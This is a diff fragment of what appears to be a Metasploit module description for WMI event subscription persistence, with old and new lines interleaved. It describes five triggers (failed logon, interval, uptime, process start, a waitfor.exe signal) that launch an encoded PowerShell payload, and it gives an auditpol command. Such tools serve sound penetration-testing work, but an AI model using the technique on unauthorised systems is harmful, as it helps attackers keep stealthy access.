'Name' => 'WMI Event Subscription Persistence',

'Description' => %q{
|
||||
This module will create a permanent WMI event subscription to achieve file-less persistence using one
|
||||
of four methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
|
||||
of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
|
||||
(default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
|
||||
must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
|
||||
/failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
|
||||
The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON
|
||||
method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS
|
||||
method will create an event filter that triggers the payload when the specified process is started. Additionally a custom
|
||||
command can be specified to run once the trigger is activated using the advanced option CUSTOM_PS_COMMAND. This module requires
|
||||
administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads
|
||||
due to powershell script length limitations.
|
||||
method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method
|
||||
creates an event filter that utilises the microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER
|
||||
before executing the payload. The signal can be sent from a windows host on a LAN utilising the waitfor.exe command
|
||||
(note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is
|
||||
activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a
|
||||
high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations.
